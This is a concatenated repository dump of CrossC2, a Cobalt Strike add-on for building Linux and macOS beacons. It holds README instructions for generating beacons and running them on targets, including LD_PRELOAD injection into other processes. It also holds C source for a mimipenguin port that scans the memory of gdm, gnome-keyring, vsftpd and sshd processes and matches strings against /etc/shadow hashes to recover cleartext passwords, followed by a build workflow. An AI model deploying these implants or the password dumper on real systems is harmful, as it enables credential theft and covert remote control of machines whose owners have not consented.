Key并生成默认profile流量协议的beacon 67 | genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out 68 | 69 | 2. 指定自定义协议动态库的beacon 70 | genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out 71 | 72 | 3. 指定需要自动解析的c2profile 73 | genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out 74 | ``` 75 | 76 | 更多高级配置具体可见文档: [📄文档](https://github.com/gloxec/CrossC2/wiki/genCrossC2_zh) 77 | 78 | > 5. 运行beacon 79 | 80 | * 在目标上运行CrossC2插件生成的一键上线脚本 81 | * 上传beacon至目标机器后进行赋权运行 82 | * 以动态库方式注入其他进程执行: `LD_PRELOAD=/tmp/c2.so java` 83 | * 为beacon设定工作目录并运行: `export CCPATH=/opt/ && /tmp/c2` 84 | * 为beacon临时指定协议库并运行: `/tmp/c2 /tmp/c2-rebind.so` 85 | * 为beacon临时设定C2配置: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2` 86 | 87 | # CrossC2Kit 88 | 89 | CrossC2Kit: https://github.com/CrossC2/CrossC2Kit 90 | 91 | CrossC2Kit 是围绕着CrossC2 衍生出的Unix平台后渗透扩展,采用 **Aggressor Script** 开源脚本引擎。可以用来创建自动化来模拟红队操作过程,以及扩展CobaltStrike客户端。 92 | 93 | CrossC2Kit 整体继承于CobaltStrike原有的功能,所以开发与编写语法仍然参照官方文档: https://trial.cobaltstrike.com/aggressor-script/index.html 94 | 95 | 但它在 CrossC2 之上又进行了一些API拓展,用于控制 Unix 平台beacon 96 | 97 | API: [📄文档](https://github.com/CrossC2/CrossC2Kit/wiki/API-Reference) 98 | 99 | 使用演示: ![CrossC2_action2](media/16292585578533/CrossC2_action2.gif) 100 | 101 | 102 | # 提示 103 | 104 | `仅做企业、组织内部自身使用,本框架具有一定脆弱性,非专业人员请勿使用,以及禁止用于非法用途及盈利等,否则造成经济损失等问题自行承担并追究其相关责任!` 105 | 106 | # todo 107 | 108 | 1. http-proxy (auth) & socks 代理回连支持 109 | 2. node beacon? (单个节点式,可进行不依靠teamserver托管其他beacon) 110 | - [x] 3. Linux & MacOS 端so/dylib的上线支持、及其衍生的进程注入等功能 111 | 112 | # 感谢 113 | 114 | 感谢 **@Emma** 为CrossC2设计的Logo, 沿用 **Armitage** 、**CobaltStrike** 系列风格进行设计 -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/src/targets.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "targets.h" 8 | #include "dbg.h" 9 | 10 | void initTargets(Target targets[MAX_TARGETS]) 11 | { 12 | //GNOME GDM 13 | strncpy(targets[0].name, "gdm-password", MAX_SHRT_NAME); 14 | strncpy(targets[0].source, "[SYSTEM - GNOME]", MAX_SHRT_NAME); 15 | targets[0].pids.size = 0; 16 | targets[0].needles.size = 2; 17 | targets[0].needles.needles[0] = "^_pammodutil_getpwnam_root_1$"; 18 | targets[0].needles.needles[1] = "^gkr_system_authtok$"; 19 | 20 | //GNOME Keyring 21 | strncpy(targets[1].name, "gnome-keyring-daemon", MAX_SHRT_NAME); 22 | strncpy(targets[1].source, "[SYSTEM - GNOME]", MAX_SHRT_NAME); 23 | targets[1].pids.size = 0; 24 | targets[1].needles.size = 2; 25 | targets[1].needles.needles[0] = "^+libgck\\-1.so\\.0$"; 26 | targets[1].needles.needles[1] = "libgcrypt\\.so\\..+$"; 27 | 28 | //VSFTPD 29 | strncpy(targets[2].name, "vsftpd", MAX_SHRT_NAME); 30 | strncpy(targets[2].source, "[SYSTEM - VSFTPD]", MAX_SHRT_NAME); 31 | targets[2].pids.size = 0; 32 | targets[2].needles.size = 1; 33 | targets[2].needles.needles[0] = "^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$"; 34 | 35 | //SSHD 36 | strncpy(targets[3].name, "sshd:", MAX_SHRT_NAME); 37 | strncpy(targets[3].source, "[SYSTEM - SSH]", MAX_SHRT_NAME); 38 | targets[3].pids.size = 0; 39 | targets[3].needles.size = 1; 40 | targets[3].needles.needles[0] = "^sudo.+"; 41 | } 42 | 43 | void getTargetPids(Target targets[MAX_TARGETS]) 44 | { 45 | DIR *dirp; 46 | struct dirent *dp; 47 | int pidSize; 48 | char fileName[MAX_CMDLINE_F] = {0}; 49 | char buf[MAX_CMDLINE] = {0}; 50 | FILE *fp = NULL; 51 | int i = -1; 52 | 53 | // Open process Dir 54 | if ((dirp = opendir("/proc")) == 0) 55 | { 56 | printf("[!!] /proc Access Denied!\n"); 57 | exit(EXIT_FAILURE); 58 | } 59 | 60 | // Iterate through all processes 61 | while ((dp = readdir(dirp)) != NULL) 62 | { 63 | //If not a pid, skip 64 | if (fnmatch("[0-9]*", dp->d_name, 0) != 0) 65 | continue; 66 | 67 | // Get process name 68 | snprintf(fileName, MAX_CMDLINE_F-1, "/proc/%s/cmdline", dp->d_name); 69 | fp = fopen(fileName, "r"); 70 | if (fp == NULL) 71 | { 72 | printf("Could not read /proc/%s/cmdline", dp->d_name); 73 | exit(EXIT_FAILURE); 74 | } 75 | fgets(buf, MAX_CMDLINE-1, fp); 76 | 77 | //Compare cmdline to target names (fuzzy search) 78 | for (i =0; i < MAX_TARGETS; i++) 79 | { 80 | if (strstr(buf, targets[i].name) != NULL) 81 | { 82 | pidSize = targets[i].pids.size++; //update pids size 83 | targets[i].pids.array[pidSize] = atoi(dp->d_name); // update pids for target 84 | break; 85 | } 86 | } 87 | } 88 | 89 | closedir(dirp); 90 | return; 91 | } 92 | 93 | #ifdef DEBUG 94 | void dumpTargets(Target *targets) 95 | { 96 | int i = -1, j = -1; 97 | 98 | for (i = 0; i < MAX_TARGETS; i++) 99 | { 100 | if (targets[i].pids.size > 0) // pids found 101 | { 102 | log_info("FOUND TARGET PROCESS!\n"); 103 | log_info("Name: %s", targets[i].name); 104 | log_info("Source: %s", targets[i].source); 105 | log_info("Needles:\n"); 106 | for (j =0; j 12 | CrossC2 Logo 13 |

14 | 15 | 16 | [README](README.md) | [中文文档](README_zh.md) | [README_FULL](README_full.md) | [中文完整文档](README_zh_full.md) 17 | 18 | 19 | # CobaltStrike support 20 | 21 | Support CobaltStrike's security assessment of other platforms (Linux/MacOS/...), and include the development support of Unix post-penetration module 22 | 23 | | | CS3.14(bug fixes) | CS4.0 | CS4.X (4.1~4.8) | 24 | |-----------------|----------|-------|---------------| 25 | | Master branch | ✅ | | | 26 | | cs4.0 branch | | ✅ | | 27 | | cs4.1 branch | | | ✅ | 28 | | | | | | 29 | | Release Page <= v2.1 | ✅ | | | 30 | | Release Page >= v2.2 | | | ✅ | 31 | 32 | ![2023-07-31 16.56.51](media/16292585578533/CrossC2_action.gif) 33 | 34 | # Usage 35 | 36 | > 1. Download 37 | 38 | Download **CrossC2.cna** **genCrossC2** **CrossC2Kit**, modify `CrossC2.cna` configuration 39 | 40 | > 2. Create listener and copy key 41 | 42 | * Create `windows/beacon_https/reverse_https` listener 43 | * Copy `.cobaltstrike.beacon_keys` in **teamserver directory** to **local** 44 | 45 | > 3. Function extension 46 | 47 | * Add `CrossC2Kit_Loader.cna`, including memory loading and other functions 48 | * `cs4.x` version file management, process list function is missing, you must use this Loader to restart 49 | 50 | > 4. Generate beacon 51 | 52 | Use the GUI function provided by cli or cna to generate beacon by default 53 | 54 | `genCrossC2 ` 55 | 56 | ex: 57 | 58 | ``` 59 | 1. read BEACON_KEY from current path and generate BEACON of default C2Profile traffic protocol 60 | genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out 61 | 62 | 2. specify the BEACON of the custom protocol dynamic library 63 | genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out 64 | 65 | 3. specify the C2Profile that needs to be automatically parsed 66 | genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out 67 | ``` 68 | 69 | more advanced configuration can be found in the documentation: [📄Reference](https://github.com/gloxec/CrossC2/wiki/genCrossC2) 70 | 71 | > 5. Run beacon 72 | 73 | * Run the one-click online script generated by the CrossC2 plugin on the target 74 | * After uploading the beacon to the target machine for empowered operation 75 | * Set the working directory for beacon and run: `export CCPATH=/opt/ && /tmp/c2` 76 | * Temporarily specify the protocol library for beacon and run: `/tmp/c2 /tmp/c2-rebind.so` 77 | * Temporarily set C2 configuration for beacon: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2` 78 | * Set DEBUG to view the online status of beacon: `export CCDEBUG=1 && /tmp/c2` 79 | 80 | # CrossC2Kit 81 | 82 | CrossC2Kit: https://github.com/CrossC2/CrossC2Kit 83 | 84 | CrossC2Kit is an infiltration expansion around the Unix platform derived from CrossC2. Use **Aggressor Script** Open Source Script engine. It can be used to create automation to simulate the operation process of the Red Team and expand the **CobaltStrike** client. 85 | 86 | **CrossC2Kit** is inherited from the original features of **CobaltStrike**, so the development and writing grammar still refer to the official documentation: https://trial.cobaltstrike.com/aggressor-script/index.html 87 | 88 | But it has some API extensions on top of CrossC2 to control the **beacon** of the Unix platform 89 | 90 | API: [📄Reference](https://github.com/CrossC2/CrossC2Kit/wiki/API-Reference) 91 | 92 | Demo: ![CrossC2_action2](media/16292585578533/CrossC2_action2.gif) 93 | 94 | # Note 95 | 96 | `Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.` 97 | 98 | # Todo 99 | 100 | 1. http-proxy (auth) & socks proxy back connection support 101 | 2. node beacon? (Single node type, can host other beacon without relying on teamserver) 102 | 3. Linux & MacOS side so/dylib's reverse shell support, and its derivative process injection functions 103 | 104 | # Thank 105 | 106 | Thanks to **@Emma** for the Logo designed for CrossC2, which is designed in the style of **Armitage** and **CobaltStrike** series -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/src/scanner.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "targets.h" 13 | #include "scanner.h" 14 | #include "dbg.h" 15 | #include "max.h" 16 | #include "users.h" 17 | 18 | // Global user list 19 | user_t *g_users; 20 | int g_nusers; 21 | 22 | // Iterate discovered target processes - proccess memory for each one 23 | int processTargets(Target targets[MAX_TARGETS]) 24 | { 25 | int i = -1, j = -1; 26 | int ret = -1; 27 | 28 | // Potential passwords are hashed and compared against /etc/shadow 29 | // So let's parse user's from there first so they are available for later 30 | if ( (g_nusers = GetUsers(&g_users)) < 0 ) 31 | { 32 | log_error("Failed to map parse /etc/shadow users"); 33 | printf("[!!] Failed to parse /etc/shadow users\n"); 34 | goto DONE; 35 | } 36 | 37 | for (i = 0; i < MAX_TARGETS; i++) 38 | { 39 | if (targets[i].pids.size > 0) // if pids found for target 40 | { 41 | printf("[+] Searching: %s (%s)\n", targets[i].source, targets[i].name); 42 | for (j = 0; j < targets[i].pids.size; j ++) 43 | { 44 | if ( processMemory(targets[i], targets[i].pids.array[j]) < 0 ) 45 | { 46 | log_warn("Failed to process pid %d", targets[i].pids.array[j]); 47 | } 48 | } 49 | } 50 | } 51 | ret = 0; 52 | DONE: 53 | PutUsers(&g_users, g_nusers); 54 | return ret; 55 | } 56 | 57 | // Find valid memory regions for given target and pid - process region for each one 58 | int processMemory(Target target, pid_t pid) 59 | { 60 | FILE *maps_fp = NULL, *mem_fp = NULL; 61 | char maps_path[MAX_PATH] = {0}; 62 | char mem_path[MAX_PATH] = {0}; 63 | char atts[ATTS_SZ] = {0}; 64 | unsigned long start = 0, end = 0; 65 | char line[MAX_MAP_LINE] = {0}; 66 | size_t line_len = 0; 67 | int ret = -1; 68 | 69 | // Open our memory files 70 | snprintf(maps_path, MAX_PATH-1, "/proc/%d/maps", pid); 71 | if ( (maps_fp = fopen(maps_path, "r")) == NULL ) 72 | { 73 | log_error("Failed to open %s", maps_path); 74 | goto DONE; 75 | } 76 | 77 | snprintf(mem_path, MAX_PATH-1, "/proc/%d/mem", pid); 78 | if ( (mem_fp = fopen(mem_path, "r")) == NULL ) 79 | { 80 | log_error("Failed to open %s", mem_path); 81 | goto DONE; 82 | } 83 | 84 | //process memory chunks 85 | while (fgets(line, MAX_MAP_LINE-1, maps_fp)) 86 | { 87 | line_len = strlen(line); // get real len 88 | if ( line[line_len-1] != '\n' ) 89 | log_warn("We did not grab the entire maps line! len: %u", (unsigned int)line_len); 90 | 91 | // Only parse anonymous regions (ie not file backed) 92 | if ( line[line_len-2] != ' ' ) 93 | continue; //skipping filebacked region 94 | 95 | sscanf(line, "%lx-%lx %s", &start, &end, atts); 96 | if (strstr(atts, "rw") == NULL) // Only parse read/write regions 97 | continue; 98 | if ( processRegion(mem_fp, start, end) < 0 ) 99 | { 100 | log_error("Failed to process region"); 101 | continue; 102 | } 103 | } 104 | 105 | ret = 0; 106 | DONE: 107 | if (maps_fp != NULL) 108 | fclose(maps_fp); 109 | if (mem_fp != NULL) 110 | fclose(mem_fp); 111 | return ret; 112 | 113 | } 114 | 115 | // returns string len or -1 on error, -2 no strings found 116 | int getStr(FILE *fp, char *str, size_t min_str, size_t max_str, size_t *cur, size_t max_cur) 117 | { 118 | unsigned char c = 0; 119 | int str_len = 0; 120 | 121 | // dont go pass end of region 122 | while ( *cur < max_cur ) 123 | { 124 | c = (unsigned char)fgetc(fp); 125 | if ( c == EOF ) 126 | { 127 | log_warn("Got EOF while parsing region for strings?"); 128 | return -1; 129 | } 130 | (*cur)++; // inc our cursor - the read was good 131 | 132 | // if not printable, check our current run and bail or restart 133 | if ( !isprint((int)c) ) 134 | { 135 | if ( str_len >= min_str ) 136 | return str_len; // We have a string! 137 | // else reset our string if need to and restart 138 | if ( str_len ) 139 | memset(str, 0, str_len); 140 | str_len = 0; 141 | continue; 142 | } 143 | // else char IS printable, copy it into our current str and inc our run count 144 | str[str_len] = c; 145 | str_len++; 146 | if ( str_len == max_str ) //we filled our tring up 147 | return str_len; 148 | 149 | } 150 | return -2; // hit the end of our range 151 | } 152 | 153 | 154 | int processRegion(FILE *fp, unsigned long start, unsigned long end) 155 | { 156 | char str[MAX_STR] = {0}; 157 | int ret = -1; 158 | size_t cur = 0; 159 | size_t max_cur = 0; 160 | int str_len = -1; 161 | 162 | max_cur = (end-start); 163 | // Seek to our region 164 | if ( fseeko(fp, start, SEEK_SET) < 0 ) 165 | { 166 | log_error("Failed to fseeko %lx", start); 167 | goto DONE; 168 | } 169 | 170 | while( cur < max_cur ) 171 | { 172 | if ( (str_len = getStr(fp, str, (MIN_STR), (MAX_STR-1), &cur, max_cur) == -1) ) 173 | { 174 | log_error("error in getStr!"); 175 | goto DONE; 176 | } 177 | if ( str_len == -2 ) //hit max_cur! - no strings found 178 | break; 179 | 180 | // TODO implement target needles to limit the number 181 | // of crypt() calls 182 | 183 | // Compare string hash against user hashes for a match 184 | if ( CheckForUserHash(g_users, g_nusers, str) == 1 ) 185 | { 186 | // PASS FOUND XXX 187 | } 188 | 189 | memset(str, 0, str_len); 190 | } 191 | 192 | ret = 0; 193 | DONE: 194 | return ret; 195 | } 196 | 197 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/src/users.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "dbg.h" 9 | #include "users.h" 10 | #include "max.h" 11 | 12 | // Does user from shadow line have a hash? 13 | int isValidUser(char *line) 14 | { 15 | char *cur = NULL; 16 | 17 | if ( (cur = strchr(line, ':')) == NULL ) 18 | { 19 | log_warn("Invalid user line?!"); 20 | return -1; 21 | } 22 | if ( cur[1] == '$' ) //valid user with a hash 23 | return 1; 24 | else 25 | return 0; // invalid user, probably disabled or locked 26 | } 27 | 28 | int CountUsers(FILE *fp) 29 | { 30 | char line[MAX_USER_LINE] = {0}; 31 | int cnt = 0; 32 | 33 | while ( fgets(line, MAX_USER_LINE-1, fp) ) 34 | { 35 | switch ( isValidUser(line) ) 36 | { 37 | case -1: 38 | log_warn("Invalid user line?"); 39 | break; 40 | case 0: // not valid aka no hash 41 | break; 42 | default: //valid 43 | cnt++; 44 | break; 45 | } 46 | } 47 | return cnt; 48 | } 49 | // populate our user list with hashes, salts, and names 50 | int PopulateUsers(FILE *fp, user_t *users, int nusers) 51 | { 52 | char line[MAX_USER_LINE] = {0}; 53 | int cur = 0; 54 | char *uname = NULL; 55 | char *id_salt_hash = NULL; 56 | char *id_salt = NULL, *id_salt_end = NULL; 57 | int id_salt_len = 0; 58 | char *hash = NULL; 59 | 60 | while ( fgets(line, MAX_USER_LINE-1, fp) ) 61 | { 62 | if ( (uname = strtok(line, ":")) == NULL ) 63 | { 64 | log_warn("invalid user line?"); 65 | continue; 66 | } 67 | if ( uname[strlen(uname)+1] != '$' ) 68 | { 69 | //debug("%s", &uname[strlen(uname)+1]); 70 | //log_warn("Invalid user, no hash [%s]", uname); 71 | continue; 72 | } 73 | if ( (id_salt_hash = strtok(NULL, ":")) == NULL ) 74 | { 75 | log_warn("Corrupted user line?"); 76 | continue; 77 | } 78 | // extract hash after id_salt 79 | if ( (id_salt_end = strrchr(id_salt_hash, '$')) == NULL ) 80 | { 81 | log_warn("Corrupted user line? No salt end?"); 82 | continue; 83 | } 84 | 85 | if ( cur >= nusers ) 86 | { 87 | log_error("More users found then before?! %d vs %d", cur, nusers); 88 | return -1; //FATAL 89 | } 90 | 91 | hash = id_salt_end+1; 92 | id_salt_len = hash - id_salt_hash; 93 | 94 | // allocate memory for the fields and populate 95 | users[cur].uname_len = strlen(uname) + 1; 96 | if ( (users[cur].uname = calloc(users[cur].uname_len, 1)) == NULL ) 97 | { 98 | log_error("Failed to calloc uname"); 99 | return -1; //FATAL 100 | } 101 | memcpy(users[cur].uname, uname, users[cur].uname_len-1); 102 | 103 | users[cur].id_salt_len = id_salt_len + 1; 104 | if ( (users[cur].id_salt = calloc(users[cur].id_salt_len, 1)) == NULL ) 105 | { 106 | log_error("Failed to calloc id_salt"); 107 | return -1; //FATAL 108 | } 109 | memcpy(users[cur].id_salt, id_salt_hash, users[cur].id_salt_len-1); 110 | 111 | users[cur].hash_len = strlen(hash) + 1; 112 | if ( (users[cur].hash = calloc(users[cur].hash_len, 1)) == NULL ) 113 | { 114 | log_error("Failed to calloc hash"); 115 | return -1; //FATAL 116 | } 117 | memcpy(users[cur].hash, hash, users[cur].hash_len-1); 118 | debug("valid users found: %s", uname); 119 | cur++; //next user 120 | } 121 | 122 | if ( cur != (nusers) ) 123 | { 124 | log_error("User count mismatch! %d vs %d", cur, nusers); 125 | return -1; //FATAL 126 | } 127 | } 128 | 129 | // Populates an array of User structs with local 130 | // users and their hashes/salts. Only targets 131 | // users with a valid hash 132 | // -1 = error, 133 | // 0 = no valid users (prob an error) 134 | // number of valid users = success 135 | int GetUsers(user_t **users) 136 | { 137 | FILE *fp = NULL; 138 | int num_users = 0; 139 | int ret = -1; 140 | char line[MAX_USER_LINE] = {0}; 141 | 142 | if ( (fp = fopen("/etc/shadow", "r")) == NULL ) 143 | { 144 | log_error("Failed to open /etc/shadow"); 145 | goto DONE; 146 | } 147 | 148 | // first count valid users 149 | if ( (num_users = CountUsers(fp)) == 0) 150 | { 151 | log_warn("No valid users on system?"); 152 | goto DONE; 153 | } 154 | 155 | log_info("Found %d valid users on system", num_users); 156 | 157 | // allocate space for our valid user list 158 | if ( (*users = (user_t*)calloc(num_users, sizeof(user_t))) == NULL ) 159 | { 160 | log_error("Failed to calloc user_t list"); 161 | goto DONE; 162 | } 163 | 164 | rewind(fp); //reset fp pos 165 | 166 | if ( PopulateUsers(fp, *users, num_users) < 0 ) 167 | { 168 | log_error("Fatal error populating the users"); 169 | goto DONE; 170 | } 171 | 172 | ret = num_users; 173 | DONE: 174 | if ( fp != NULL ) 175 | fclose(fp); 176 | return ret; 177 | } 178 | 179 | 180 | // Frees all memory being used by the User list 181 | void PutUsers(user_t **users, int nusers) 182 | { 183 | int i = 0; 184 | if ( *users == NULL ) 185 | return; 186 | for ( i = 0; i < nusers; i++ ) 187 | { 188 | if ( (*users)[i].uname != NULL ) 189 | (*users)[i].uname = NULL; 190 | if ( (*users)[i].id_salt != NULL ) 191 | free((*users)[i].id_salt); 192 | if ( (*users)[i].hash != NULL ) 193 | free((*users)[i].hash); 194 | } 195 | free(*users); 196 | *users = NULL; 197 | } 198 | 199 | // Check for a match of hashed version of str against user hashes 200 | // If match return user index 201 | // else 0 for no match 202 | int CheckForUserHash(user_t *users, int nusers, char *str) 203 | { 204 | int i = 0; 205 | char *str_hash = NULL; 206 | 207 | for ( i = 0; i < nusers; i++ ) 208 | { 209 | if ( (str_hash = crypt((const char*)str, users[i].id_salt)) == NULL ) 210 | { 211 | log_error("crypt failed string: %s, salt: %s", str, users[i].id_salt); 212 | continue; 213 | } 214 | if ( strstr(str_hash, users[i].hash) != NULL ) 215 | { 216 | printf(" [-] %s:%s\n", users[i].uname, str); 217 | return 1; // FOUND PASS! 218 | } 219 | } 220 | return 0; // not found 221 | } 222 | -------------------------------------------------------------------------------- /.github/workflows/compile-crossc2kit-release.yml: -------------------------------------------------------------------------------- 1 | on: 2 | push: 3 | branches: 4 | - cs4.1 5 | paths: 6 | - 'CrossC2Kit/**' 7 | - '!CrossC2Kit/README.md' 8 | 9 | name: Compile CrossC2Kit Release 10 | jobs: 11 | job1: 12 | name: build (linux) 13 | runs-on: ubuntu-20.04 14 | steps: 15 | - name: Checkout code 16 | uses: actions/checkout@v2 17 | with: 18 | submodules: 'true' 19 | - name: Get current date 20 | id: date 21 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 22 | - name: Build project 23 | run: | 24 | uname -a 25 | cp -r CrossC2Kit/third-party /tmp/third-party 26 | cp release.sh /tmp/ 27 | cp CrossC2Kit/compile.sh /tmp/ 28 | cd /tmp 29 | chmod 755 compile.sh 30 | chmod 755 release.sh 31 | ./compile.sh > /tmp/elog 32 | find /tmp/third/ >> /tmp/elog 33 | ./release.sh >> /tmp/elog 34 | echo 1 > /tmp/blank 35 | cd /tmp/ 36 | - name: Build project 37 | run: | 38 | echo "# Arch" >> $GITHUB_STEP_SUMMARY 39 | uname -a >> $GITHUB_STEP_SUMMARY 40 | echo "# Build Result" >> $GITHUB_STEP_SUMMARY 41 | echo "" >> $GITHUB_STEP_SUMMARY 42 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY 43 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY 44 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY 45 | - name: Gets latest created release info 46 | id: latest_release_info 47 | uses: jossef/action-latest-release-info@v1.1.0 48 | env: 49 | GITHUB_TOKEN: ${{ github.token }} 50 | - name: Create a placeholder file 51 | id: create-placeholder-file 52 | uses: actions/upload-release-asset@v1 53 | env: 54 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 55 | with: 56 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 57 | asset_path: /tmp/blank 58 | asset_name: placeholder 59 | asset_content_type: application/zip 60 | - name: Delete old release assets 61 | uses: mknejp/delete-release-assets@v1 62 | with: 63 | token: ${{ github.token }} 64 | tag: ${{ steps.latest_release_info.outputs.tag_name }} 65 | assets: | 66 | bot-third-linux*.zip 67 | placeholder 68 | - name: Upload Release Asset 69 | id: upload-release-asset 70 | uses: actions/upload-release-asset@v1 71 | env: 72 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 73 | with: 74 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 75 | asset_path: /tmp/third-party.zip 76 | asset_name: bot-third-linux-${{ steps.date.outputs.date }}.zip 77 | asset_content_type: application/zip 78 | job2: 79 | name: build (macOS) 80 | runs-on: macos-11 81 | steps: 82 | - name: Checkout code 83 | uses: actions/checkout@v3 84 | with: 85 | submodules: 'true' 86 | - name: Get current date 87 | id: date2 88 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 89 | - name: Build project 90 | run: | 91 | uname -a 92 | cp -r CrossC2Kit/third-party /tmp/third-party 93 | cp release.sh /tmp/ 94 | cp CrossC2Kit/compile.sh /tmp/ 95 | cd /tmp 96 | chmod 755 compile.sh 97 | chmod 755 release.sh 98 | ./compile.sh > /tmp/elog 99 | find /tmp/third-party/ >> /tmp/elog 100 | ./release.sh >> /tmp/elog 101 | echo 1 > /tmp/blank 102 | cd /tmp/ 103 | - name: Build project 104 | run: | 105 | echo "# Arch" >> $GITHUB_STEP_SUMMARY 106 | uname -a >> $GITHUB_STEP_SUMMARY 107 | echo "# Build Result" >> $GITHUB_STEP_SUMMARY 108 | echo "" >> $GITHUB_STEP_SUMMARY 109 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY 110 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY 111 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY 112 | - name: Gets latest created release info 113 | id: latest_release_info2 114 | uses: jossef/action-latest-release-info@v1.1.0 115 | env: 116 | GITHUB_TOKEN: ${{ github.token }} 117 | - name: Create a placeholder file 118 | id: create-placeholder-file2 119 | uses: actions/upload-release-asset@v1 120 | env: 121 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 122 | with: 123 | upload_url: ${{ steps.latest_release_info2.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 124 | asset_path: /tmp/blank 125 | asset_name: placeholder 126 | asset_content_type: application/zip 127 | - name: Delete old release assets 128 | uses: mknejp/delete-release-assets@v1 129 | with: 130 | token: ${{ github.token }} 131 | tag: ${{ steps.latest_release_info2.outputs.tag_name }} 132 | assets: | 133 | bot-third-mac*.zip 134 | placeholder 135 | - name: Upload Release Asset 136 | id: upload-release-asset2 137 | uses: actions/upload-release-asset@v1 138 | env: 139 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 140 | with: 141 | upload_url: ${{ steps.latest_release_info2.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 142 | asset_path: /tmp/third-party.zip 143 | asset_name: bot-third-mac-${{ steps.date2.outputs.date }}.zip 144 | asset_content_type: application/zip 145 | job3: 146 | needs: [job1, job2] 147 | name: build release 148 | runs-on: ubuntu-20.04 149 | steps: 150 | - name: Checkout code 151 | uses: actions/checkout@v3 152 | with: 153 | submodules: 'true' 154 | - name: Download Release Asset 155 | id: download_release_asset 156 | uses: i3h/download-release-asset@v1 157 | with: 158 | owner: gloxec 159 | repo: CrossC2 160 | tag: latest 161 | file: /bot-third-linux-.*zip/ 162 | path: /tmp/ 163 | - name: Download Release Asset 164 | id: download_release_asset2 165 | uses: i3h/download-release-asset@v1 166 | with: 167 | owner: gloxec 168 | repo: CrossC2 169 | tag: latest 170 | file: /bot-third-mac-.*zip/ 171 | path: /tmp/ 172 | - name: Get current date 173 | id: date3 174 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 175 | - name: Build project 176 | run: | 177 | uname -a 178 | cp -r CrossC2Kit /tmp/CrossC2Kit 179 | rm -rf /tmp/CrossC2Kit/third-party/ 180 | mv /tmp/bot-third-mac-*.zip /tmp/CrossC2Kit/third-mac.zip 181 | mv /tmp/bot-third-linux-*.zip /tmp/CrossC2Kit/third-linux.zip 182 | cd /tmp/CrossC2Kit/ 183 | unzip -o third-mac.zip 184 | unzip -o third-linux.zip 185 | rm -rf third-mac.zip 186 | rm -rf third-linux.zip 187 | cd /tmp/ 188 | zip -r CrossC2Kit-${{ steps.date3.outputs.date }} CrossC2Kit > /tmp/elog 189 | echo 1 > /tmp/blank 190 | cd /tmp/ 191 | - name: Build project 192 | run: | 193 | echo "# Build Files" >> $GITHUB_STEP_SUMMARY 194 | echo "" >> $GITHUB_STEP_SUMMARY 195 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY 196 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY 197 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY 198 | - name: Gets latest created release info 199 | id: latest_release_info3 200 | uses: jossef/action-latest-release-info@v1.1.0 201 | env: 202 | GITHUB_TOKEN: ${{ github.token }} 203 | - name: Create a placeholder file 204 | id: create-placeholder-file3 205 | uses: actions/upload-release-asset@v1 206 | env: 207 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 208 | with: 209 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 210 | asset_path: /tmp/blank 211 | asset_name: placeholder 212 | asset_content_type: application/zip 213 | - name: Delete old release assets 214 | uses: mknejp/delete-release-assets@v1 215 | with: 216 | token: ${{ github.token }} 217 | tag: ${{ steps.latest_release_info3.outputs.tag_name }} 218 | assets: | 219 | bot-third-*.zip 220 | CrossC2Kit-*.zip 221 | placeholder 222 | - name: Upload CrossC2Kit Release Asset 223 | 